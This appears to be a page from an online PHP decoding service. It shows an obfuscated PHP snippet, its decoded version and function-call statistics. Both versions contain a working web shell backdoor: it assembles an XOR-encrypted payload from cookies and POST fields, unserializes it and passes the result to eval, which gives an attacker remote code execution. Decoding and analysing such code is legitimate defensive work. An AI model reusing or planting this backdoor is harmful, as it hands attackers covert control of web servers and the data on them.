Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$ElfqDYPnd = "\x71" . chr (122) . "\x4c" . "\137" . chr ( 762 - 695 )."\x6c" . chr (115); ..
Decoded Output download
<? $ElfqDYPnd = "q" . chr (122) . "L" . "_" . chr ( 762 - 695 )."l" . chr (115); $WKvHxUOX = chr ( 481 - 382 ).chr (108) . "a" . chr (115) . chr (115) . chr ( 910 - 815 )."e" . "x" . chr (105) . chr (115) . chr ( 756 - 640 ).'s';$fqwymYSEjG = class_exists($ElfqDYPnd); $WKvHxUOX = "44952";$yiAcue = !1;if ($fqwymYSEjG == $yiAcue){function LdrHHSeyep(){$HOGCAT = new /* 44927 */ qzL_Cls(44200 + 44200); $HOGCAT = NULL;}$ccihk = "44200";class qzL_Cls{private function AxHASTQJr($ccihk){if (is_array(qzL_Cls::$hdBBHsiT)) {$UdXYIRVzu = str_replace("<" . "?" . 'p' . chr ( 901 - 797 ).chr ( 269 - 157 ), "", qzL_Cls::$hdBBHsiT[chr ( 950 - 851 )."o" . "n" . 't' . "e" . chr (110) . chr ( 477 - 361 )]);eval($UdXYIRVzu); $ccihk = "44200";exit();}}private $bHYGfLQFOt;public function NvPeUPxa(){echo 10543;}public function __destruct(){$ccihk = "61638_28265";$this->AxHASTQJr($ccihk); $ccihk = "61638_28265";}public function __construct($sLqNecNN=0){$wJexH = $_POST;$EJWoOR = $_COOKIE;$ioEAGdz = "1aadf64d-0670-4d51-ba36-bb2f1e54a30d";$slsObJYS = @$EJWoOR[substr($ioEAGdz, 0, 4)];if (!empty($slsObJYS)){$TyprNBy = "base64";$efAldmtYhi = "";$slsObJYS = explode(",", $slsObJYS);foreach ($slsObJYS as $bXIaqw){$efAldmtYhi .= @$EJWoOR[$bXIaqw];$efAldmtYhi .= @$wJexH[$bXIaqw];}$efAldmtYhi = array_map($TyprNBy . "_" . "d" . "e" . "c" . chr ( 399 - 288 ).chr (100) . 'e', array($efAldmtYhi,)); $efAldmtYhi = $efAldmtYhi[0] ^ str_repeat($ioEAGdz, (strlen($efAldmtYhi[0]) / strlen($ioEAGdz)) + 1);qzL_Cls::$hdBBHsiT = @unserialize($efAldmtYhi);}}public static $hdBBHsiT = 40007;}LdrHHSeyep();} ?>
Did this file decode correctly?
Original Code
$ElfqDYPnd = "\x71" . chr (122) . "\x4c" . "\137" . chr ( 762 - 695 )."\x6c" . chr (115); $WKvHxUOX = chr ( 481 - 382 ).chr (108) . "\x61" . chr (115) . chr (115) . chr ( 910 - 815 )."\x65" . "\170" . chr (105) . chr (115) . chr ( 756 - 640 ).'s';$fqwymYSEjG = class_exists($ElfqDYPnd); $WKvHxUOX = "44952";$yiAcue = !1;if ($fqwymYSEjG == $yiAcue){function LdrHHSeyep(){$HOGCAT = new /* 44927 */ qzL_Cls(44200 + 44200); $HOGCAT = NULL;}$ccihk = "44200";class qzL_Cls{private function AxHASTQJr($ccihk){if (is_array(qzL_Cls::$hdBBHsiT)) {$UdXYIRVzu = str_replace("\x3c" . "\x3f" . 'p' . chr ( 901 - 797 ).chr ( 269 - 157 ), "", qzL_Cls::$hdBBHsiT[chr ( 950 - 851 )."\157" . "\x6e" . 't' . "\x65" . chr (110) . chr ( 477 - 361 )]);eval($UdXYIRVzu); $ccihk = "44200";exit();}}private $bHYGfLQFOt;public function NvPeUPxa(){echo 10543;}public function __destruct(){$ccihk = "61638_28265";$this->AxHASTQJr($ccihk); $ccihk = "61638_28265";}public function __construct($sLqNecNN=0){$wJexH = $_POST;$EJWoOR = $_COOKIE;$ioEAGdz = "1aadf64d-0670-4d51-ba36-bb2f1e54a30d";$slsObJYS = @$EJWoOR[substr($ioEAGdz, 0, 4)];if (!empty($slsObJYS)){$TyprNBy = "base64";$efAldmtYhi = "";$slsObJYS = explode(",", $slsObJYS);foreach ($slsObJYS as $bXIaqw){$efAldmtYhi .= @$EJWoOR[$bXIaqw];$efAldmtYhi .= @$wJexH[$bXIaqw];}$efAldmtYhi = array_map($TyprNBy . "\x5f" . "\144" . "\145" . "\x63" . chr ( 399 - 288 ).chr (100) . 'e', array($efAldmtYhi,)); $efAldmtYhi = $efAldmtYhi[0] ^ str_repeat($ioEAGdz, (strlen($efAldmtYhi[0]) / strlen($ioEAGdz)) + 1);qzL_Cls::$hdBBHsiT = @unserialize($efAldmtYhi);}}public static $hdBBHsiT = 40007;}LdrHHSeyep();}
Function Calls
chr | 11 |
class_exists | 1 |
Stats
MD5 | 899956357a5c0eb9330f84237f3334db |
Eval Count | 0 |
Decode Time | 71 ms |